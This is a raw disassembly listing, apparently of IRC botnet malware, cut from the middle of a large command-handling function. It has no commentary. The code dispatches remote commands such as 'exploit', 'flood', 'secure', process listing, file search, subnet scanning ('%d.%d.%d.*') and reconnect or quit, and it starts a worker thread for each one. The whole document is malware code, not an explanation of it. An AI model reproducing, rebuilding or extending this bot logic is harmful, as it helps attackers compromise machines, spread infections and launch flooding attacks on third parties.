push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
jmp loc_4083EA
; ---------------------------------------------------------------------------
loc_404B35: ; CODE XREF: sub_40274D+167Dj
; sub_40274D+1692j
push [ebp+4Ch+var_4]
push [ebp+4Ch+Format]
push [ebp+4Ch+arg_4]
call sub_4185EA
lea eax, [ebp+4Ch+Dst]
push offset asc_42EFC0 ; "-"
push eax ; Dest
call _sprintf
jmp loc_408BF5
; ---------------------------------------------------------------------------
loc_404B59: ; CODE XREF: sub_40274D+1653j
; sub_40274D+1668j
push 27h
call sub_40B075
test eax, eax
pop ecx
jle short loc_404B87
cmp [ebp+4Ch+var_C], ebx
jnz loc_402B92
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset unk_42EFA0 ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
jmp loc_4095B1
; ---------------------------------------------------------------------------
loc_404B87: ; CODE XREF: sub_40274D+2416j
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_BCC]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov esi, dword ptr [ebp+esi+4Ch+Args]
mov [ebp+4Ch+var_BD0], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_B44], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp esi, ebx
mov [ebp+4Ch+var_B40], eax
mov [ebp+4Ch+var_B48], ebx
jz short loc_404BE2
push esi ; Str2
push offset aFull ; "full"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_404BE2
mov [ebp+4Ch+var_B48], 1
loc_404BE2: ; CODE XREF: sub_40274D+2478j
; sub_40274D+2489j
lea eax, [ebp+4Ch+Dst]
push offset asc_42EF7C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 27h ; int
push eax ; Source
call sub_40AE85
add esp, 14h
mov [ebp+4Ch+var_B4C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_BD0]
push eax
push offset sub_41C66C
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404C62
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EF40 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_404A79
; ---------------------------------------------------------------------------
loc_404C5A: ; CODE XREF: sub_40274D+251Bj
push 32h
call ds:dword_42B014 ; Sleep
loc_404C62: ; CODE XREF: sub_40274D+24EBj
cmp [ebp+4Ch+var_B3C], ebx
jz short loc_404C5A
jmp loc_404A79
; ---------------------------------------------------------------------------
loc_404C6F: ; CODE XREF: sub_40274D+1629j
; sub_40274D+163Ej
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404C8B
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset dword_42EF24 ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_404C8B: ; CODE XREF: sub_40274D+2525j
push [ebp+4Ch+arg_4]
call dword_444218 ; closesocket
call dword_444224 ; WSACleanup
call sub_41AEDD
jmp loc_405462
; ---------------------------------------------------------------------------
loc_404CA4: ; CODE XREF: sub_40274D+15FFj
; sub_40274D+1614j
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push [ebp+4Ch+arg_4]
push eax
call sub_41D779
pop ecx
pop ecx
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push offset dword_42EF08
jmp loc_404A12
; ---------------------------------------------------------------------------
loc_404CCF: ; CODE XREF: sub_40274D+15D5j
; sub_40274D+15EAj
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_1C]
push eax
call sub_41D9E5
add esp, 0Ch
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push offset dword_42EEEC
jmp loc_404A12
; ---------------------------------------------------------------------------
loc_404CFE: ; CODE XREF: sub_40274D+15ABj
; sub_40274D+15C0j
push [ebp+4Ch+var_C] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_417E10
loc_404D0F: ; CODE XREF: sub_40274D+372j
; sub_40274D+234Ej ...
add esp, 10h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404D17: ; CODE XREF: sub_40274D+1581j
; sub_40274D+1596j
cmp [ebp+4Ch+var_18], ebx
mov [ebp+4Ch+var_159C], bl
jz short loc_404D53
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz short loc_404D53
push esi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_404D53
push eax
push offset aS ; "%s"
lea eax, [ebp+4Ch+var_159C]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_404D53: ; CODE XREF: sub_40274D+25D3j
; sub_40274D+25DBj ...
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_161C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1620], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_1518], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1514], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EED4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 25h ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_151C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1620]
push eax
push offset sub_417E51
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_151C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404DF3
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42EE9C
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_404DEB: ; CODE XREF: sub_40274D+26ACj
push 32h
call ds:dword_42B014 ; Sleep
loc_404DF3: ; CODE XREF: sub_40274D+268Bj
cmp [ebp+4Ch+var_1510], ebx
jz short loc_404DEB
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404E00: ; CODE XREF: sub_40274D+1557j
; sub_40274D+156Cj
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_417CF8
push offset dword_42EE84
call sub_417D70
jmp loc_404976
; ---------------------------------------------------------------------------
loc_404E1D: ; CODE XREF: sub_40274D+152Dj
; sub_40274D+1542j
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_B34]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov esi, dword ptr [ebp+esi+4Ch+Args]
mov [ebp+4Ch+var_B38], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_AAC], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp esi, ebx
mov [ebp+4Ch+var_AA8], eax
jz short loc_404E71
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+4Ch+var_AB0], eax
jmp short loc_404E77
; ---------------------------------------------------------------------------
loc_404E71: ; CODE XREF: sub_40274D+2708j
mov [ebp+4Ch+var_AB0], ebx
loc_404E77: ; CODE XREF: sub_40274D+2722j
lea eax, [ebp+4Ch+Dst]
push offset asc_42EE60 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 28h ; int
push eax ; Source
call sub_40AE85
add esp, 14h
mov [ebp+4Ch+var_AB4], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_B38]
push eax
push offset sub_40B186
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_AB4]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404EE8
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42EE24
jmp loc_409AC1
; ---------------------------------------------------------------------------
loc_404EE0: ; CODE XREF: sub_40274D+27A1j
push 32h
call ds:dword_42B014 ; Sleep
loc_404EE8: ; CODE XREF: sub_40274D+2780j
cmp [ebp+4Ch+var_AA4], ebx
jz short loc_404EE0
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404EF5: ; CODE XREF: sub_40274D+14B4j
; sub_40274D+14C9j
push offset aFicken ; "ficken"
lea eax, [ebp+4Ch+Dst]
push offset asc_42EE0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 20h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404F29: ; CODE XREF: sub_40274D+148Aj
; sub_40274D+149Fj
push dword_4D1FD0
call sub_41D5F8
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EDE0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 24h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404F64: ; CODE XREF: sub_40274D+1460j
; sub_40274D+1475j
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz short loc_404F93
cmp [ebp+4Ch+var_18], ebx
jz short loc_404FA2
push esi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_404FA2
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
add esp, 0Ch
jmp short loc_404FA2
; ---------------------------------------------------------------------------
loc_404F93: ; CODE XREF: sub_40274D+281Dj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
pop ecx
pop ecx
loc_404FA2: ; CODE XREF: sub_40274D+2822j
; sub_40274D+2831j ...
push 0FFFFFFFEh
pop eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FAA: ; CODE XREF: sub_40274D+1436j
; sub_40274D+144Bj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push offset dword_42ED90
call sub_417D70
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FCC: ; CODE XREF: sub_40274D+140Cj
; sub_40274D+1421j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
push offset dword_42ED5C
call sub_417D70
add esp, 0Ch
loc_404FE6: ; CODE XREF: sub_40274D+7915j
xor eax, eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FED: ; CODE XREF: sub_40274D+13E2j
; sub_40274D+13F7j
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40B553
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405000: ; CODE XREF: sub_40274D+13B8j
; sub_40274D+13CDj
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40B4FF
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405013: ; CODE XREF: sub_40274D+138Ej
; sub_40274D+13A3j
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40B494
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405026: ; CODE XREF: sub_40274D+1364j
; sub_40274D+1379j
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40B3C5
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405039: ; CODE XREF: sub_40274D+12C8j
; sub_40274D+12DDj
push dword ptr [ebp+esi+4Ch+Args]
push 27h
push offset aProcessList ; "Process list"
push offset dword_42ED3C
jmp short loc_40505B
; ---------------------------------------------------------------------------
loc_40504B: ; CODE XREF: sub_40274D+129Ej
; sub_40274D+12B3j
push dword ptr [ebp+esi+4Ch+Args] ; Str
push 24h ; int
push offset aFindFile ; "Find file"
push offset dword_42ED20 ; int
loc_40505B: ; CODE XREF: sub_40274D+EF1j
; sub_40274D+F41j ...
push [ebp+4Ch+var_C] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; int
push [ebp+4Ch+arg_4] ; int
call sub_40B0BB
add esp, 20h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_405074: ; CODE XREF: sub_40274D+F05j
; sub_40274D+F1Aj
mov edi, dword ptr [ebp+esi+4Ch+Args]
cmp edi, ebx
jz short loc_405090
push edi ; Str
call j__atol
test eax, eax
pop ecx
jz short loc_405090
push edi ; Str
call j__atol
pop ecx
jmp short loc_405095
; ---------------------------------------------------------------------------
loc_405090: ; CODE XREF: sub_40274D+292Dj
; sub_40274D+2938j
mov eax, dword_43C070
loc_405095: ; CODE XREF: sub_40274D+2941j
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
mov [ebp+4Ch+var_598], eax
jz short loc_4050B7
push esi ; Format
loc_4050A4: ; CODE XREF: sub_40274D+2979j
lea eax, [ebp+4Ch+var_5A8]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4050CE
; ---------------------------------------------------------------------------
loc_4050B7: ; CODE XREF: sub_40274D+2954j
cmp [ebp+4Ch+var_907], bl
jz short loc_4050C8
lea eax, [ebp+4Ch+var_D0]
push eax
jmp short loc_4050A4
; ---------------------------------------------------------------------------
loc_4050C8: ; CODE XREF: sub_40274D+2970j
mov [ebp+4Ch+var_5A8], bl
loc_4050CE: ; CODE XREF: sub_40274D+2968j
mov eax, [ebp+4Ch+var_4]
push [ebp+4Ch+Format] ; Format
mov esi, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_58C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_588], eax
lea eax, [ebp+4Ch+var_628]
push 80h ; Count
push eax ; Dest
mov [ebp+4Ch+var_62C], esi
call __snprintf
add esp, 0Ch
push [ebp+4Ch+var_598]
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42ECF8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 19h ; int
push eax ; Source
call sub_40AE85
add esp, 1Ch
mov [ebp+4Ch+var_594], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_62C]
push eax
push offset sub_4144B2
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_594]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40517F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42ECBC
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_405177: ; CODE XREF: sub_40274D+2A38j
push 32h
call ds:dword_42B014 ; Sleep
loc_40517F: ; CODE XREF: sub_40274D+2A17j
cmp [ebp+4Ch+var_584], ebx
jz short loc_405177
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40518C: ; CODE XREF: sub_40274D+EB5j
; sub_40274D+ECAj
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz short loc_4051A9
push esi ; Str
call j__atol
test ax, ax
pop ecx
jz short loc_4051A9
push esi ; Str
call j__atol
pop ecx
jmp short loc_4051AF
; ---------------------------------------------------------------------------
loc_4051A9: ; CODE XREF: sub_40274D+2A45j
; sub_40274D+2A51j
mov ax, word_43C080
loc_4051AF: ; CODE XREF: sub_40274D+2A5Aj
push [ebp+4Ch+Format] ; Format
mov esi, [ebp+4Ch+arg_4]
mov edi, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_984], ax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_974], eax
lea eax, [ebp+4Ch+var_A04]
push 80h ; Count
push eax ; Dest
mov [ebp+4Ch+var_A08], esi
mov [ebp+4Ch+var_978], edi
call __snprintf
movzx eax, [ebp+4Ch+var_984]
add esp, 0Ch
push eax
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EC90 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push edi ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push esi ; int
call sub_40123B
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 6 ; int
push eax ; Source
call sub_40AE85
add esp, 30h
mov [ebp+4Ch+var_980], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_A08]
push eax
push offset sub_411555
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_980]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40527B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42EC50
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_405273: ; CODE XREF: sub_40274D+2B34j
push 32h
call ds:dword_42B014 ; Sleep
loc_40527B: ; CODE XREF: sub_40274D+2B13j
cmp [ebp+4Ch+var_970], ebx
jz short loc_405273
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_405288: ; CODE XREF: sub_40274D+E61j
; sub_40274D+E76j ...
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4052B0
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
test eax, eax
pop ecx
pop ecx
mov [ebp+4Ch+var_A18], ebx
jnz short loc_4052BA
loc_4052B0: ; CODE XREF: sub_40274D+2B4Aj
mov [ebp+4Ch+var_A18], 1
loc_4052BA: ; CODE XREF: sub_40274D+2B61j
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_A9C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_AA0], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_A14], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp [ebp+4Ch+var_A18], ebx
mov [ebp+4Ch+var_A10], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4052FE
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4052FE: ; CODE XREF: sub_40274D+2BAAj
push eax
push offset asc_42EC1C ; "-"
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 22h ; int
push eax ; Source
call sub_40AE85
add esp, 1Ch
mov [ebp+4Ch+var_A1C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_AA0]
push eax
push offset sub_41D1C3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_A1C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_405375
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42EBE0
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_40536D: ; CODE XREF: sub_40274D+2C2Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_405375: ; CODE XREF: sub_40274D+2C0Dj
cmp [ebp+4Ch+var_A0C], ebx
jz short loc_40536D
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_405382: ; CODE XREF: sub_40274D+E37j
; sub_40274D+E4Cj
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41D41B
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405395: ; CODE XREF: sub_40274D+E0Dj
; sub_40274D+E22j
push offset unk_42EB30
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_40539F: ; CODE XREF: sub_40274D+DE3j
; sub_40274D+DF8j
push offset aBloodRep ; "blood-rep"
push offset dword_42EB1C
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_4053AE: ; CODE XREF: sub_40274D+DB9j
; sub_40274D+DCEj
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz short loc_405407
push esi ; Str
call j__atol
cmp eax, ebx
pop ecx
jl short loc_4053FC
cmp eax, 3
jge short loc_4053FC
mov edx, [ebp+4Ch+Str1]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_4053F1
lea eax, [esi+1]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42FDE8 ; "-"
push eax ; Dest
call _sprintf
mov [esi], bl
jmp loc_40698A
; ---------------------------------------------------------------------------
loc_4053F1: ; CODE XREF: sub_40274D+2C86j
push eax
push offset unk_42EAF0
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4053FC: ; CODE XREF: sub_40274D+2C72j
; sub_40274D+2C77j
push eax
push offset unk_42EAC4
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405407: ; CODE XREF: sub_40274D+2C67j
mov edi, [ebp+4Ch+Str1]
xor esi, esi
loc_40540C: ; CODE XREF: sub_40274D+2CD8j
push [ebp+4Ch+Str2] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_40542C
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40540C
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40542C: ; CODE XREF: sub_40274D+2CCCj
mov eax, [ebp+4Ch+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+4Ch+var_D0]
push eax
push offset asc_42FDE8 ; "-"
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405446: ; CODE XREF: sub_40274D+D8Fj
; sub_40274D+DA4j
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_403F48
call sub_40AFF6
loc_405462: ; CODE XREF: sub_40274D+2552j
push ebx
call ds:dword_42B000 ; ExitProcess
loc_405469: ; CODE XREF: sub_40274D+1831j
push offset aGet_1 ; "get"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40550F
cmp dword_4D5898, ebx
jz short loc_405495
push offset byte_4D5698
push offset asc_42EA88 ; "-"
jmp loc_405521
; ---------------------------------------------------------------------------
loc_405495: ; CODE XREF: sub_40274D+2D37j
push 10h
pop eax
push eax ; Size
mov [ebp+4Ch+var_2D8], eax
lea eax, [ebp+4Ch+var_2F0]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+4Ch+var_2D8]
push eax
lea eax, [ebp+4Ch+var_2F0]
push eax
push [ebp+4Ch+arg_4]
call ds:dword_42B220 ; getsockname
movzx eax, [ebp+4Ch+var_2EA]
push eax
movzx eax, [ebp+4Ch+var_2EB]
push eax
movzx eax, [ebp+4Ch+var_2EC]
push eax
lea eax, [ebp+4Ch+var_DB8]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+var_DB8]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EA88 ; "-"
push eax ; Dest
call _sprintf
add esp, 20h
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_40550F: ; CODE XREF: sub_40274D+2D2Bj
push esi
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_405535
push offset asc_42EA48 ; "-"
loc_405521: ; CODE XREF: sub_40274D+2D43j
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_405535: ; CODE XREF: sub_40274D+2DCDj
push offset byte_4D5698 ; Dest
call _strcpy
push esi
lea eax, [ebp+4Ch+Dst]
push offset asc_42EA1C ; "-"
push eax ; Dest
mov dword_4D5898, 1
call _sprintf
add esp, 14h
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_405563: ; CODE XREF: sub_40274D+1819j
push edi ; Str2
push offset aExploit ; "exploit"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40565C
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_13EC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_13E8], eax
mov eax, [ebp+4Ch+arg_4]
mov esi, offset a_fast__1 ; "#.fast.#"
push esi ; Format
mov [ebp+4Ch+var_13FC], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_147C]
push edi ; Count
push eax ; Dest
mov [ebp+4Ch+var_13F4], 1
call __snprintf
push esi ; Format
lea eax, [ebp+4Ch+var_14FC]
push edi ; Count
push eax ; Dest
call __snprintf
push [ebp+4Ch+var_8] ; Format
lea eax, [ebp+4Ch+var_150C]
push 10h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+4Ch+var_150C]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42E9E4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 8 ; int
push eax ; Source
call sub_40AE85
add esp, 3Ch
mov [ebp+4Ch+var_13F0], eax
lea eax, [ebp+4Ch+var_304]
push eax
push ebx
lea eax, [ebp+4Ch+var_150C]
push eax
push offset sub_40C15B
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_13F0]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40564F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42E9A4
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405647: ; CODE XREF: sub_40274D+2F08j
push 32h
call ds:dword_42B014 ; Sleep
loc_40564F: ; CODE XREF: sub_40274D+2EE7j
cmp [ebp+4Ch+var_13E4], ebx
jz short loc_405647
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40565C: ; CODE XREF: sub_40274D+2E25j
push edi ; Str2
push offset aReconnect_in ; "reconnect.in"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A01D
push edi ; Str2
push offset aRin ; "rin"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40A01D
push edi ; Str2
push offset aReconnect_in_m ; "reconnect.in.ms"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409FE3
push edi ; Str2
push offset aRinms ; "rinms"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409FE3
push [ebp+4Ch+var_10] ; Str2
push offset aFlood ; "flood"
call _strcmp
test eax, eax
mov edi, ds:dword_42B014
pop ecx
pop ecx
jnz loc_406175
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
push [ebp+4Ch+var_8] ; Str2
push offset aLoad ; "load"
call _strcmp
add esp, 0Ch
test eax, eax
jnz short loc_405750
cmp [ebp+esi+4Ch+var_94], ebx
jz short loc_405750
push [ebp+esi+4Ch+var_94] ; Str
call j__atol
pop ecx
push eax ; int
push [ebp+esi+4Ch+var_98] ; Str
call j__atol
pop ecx
push eax ; int
push [ebp+esi+4Ch+Format] ; Source
call sub_41A954
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+Dst]
push [ebp+esi+4Ch+Format]
push [ebp+esi+4Ch+var_94]
push offset asc_42E93C ; "-"
push eax ; Dest
call _sprintf
add esp, 20h
cmp [ebp+4Ch+var_C], ebx
jnz short loc_405750
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_405750: ; CODE XREF: sub_40274D+2F9Ej
; sub_40274D+2FA4j ...
push [ebp+4Ch+var_8] ; Str2
push offset aPm ; "pm"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4057B3
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_4057B3
push offset asc_42FE58 ; " "
push offset a_ ; "_"
push eax ; Dest
call sub_41AB7D
push eax ; Source
lea eax, [ebp+4Ch+var_50FC]
push eax ; Dest
call _strcpy
lea eax, [ebp+4Ch+var_50FC]
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 28h
loc_4057B3: ; CODE XREF: sub_40274D+3014j
; sub_40274D+301Cj
push [ebp+4Ch+var_8] ; Str2
push offset aCt ; "ct"
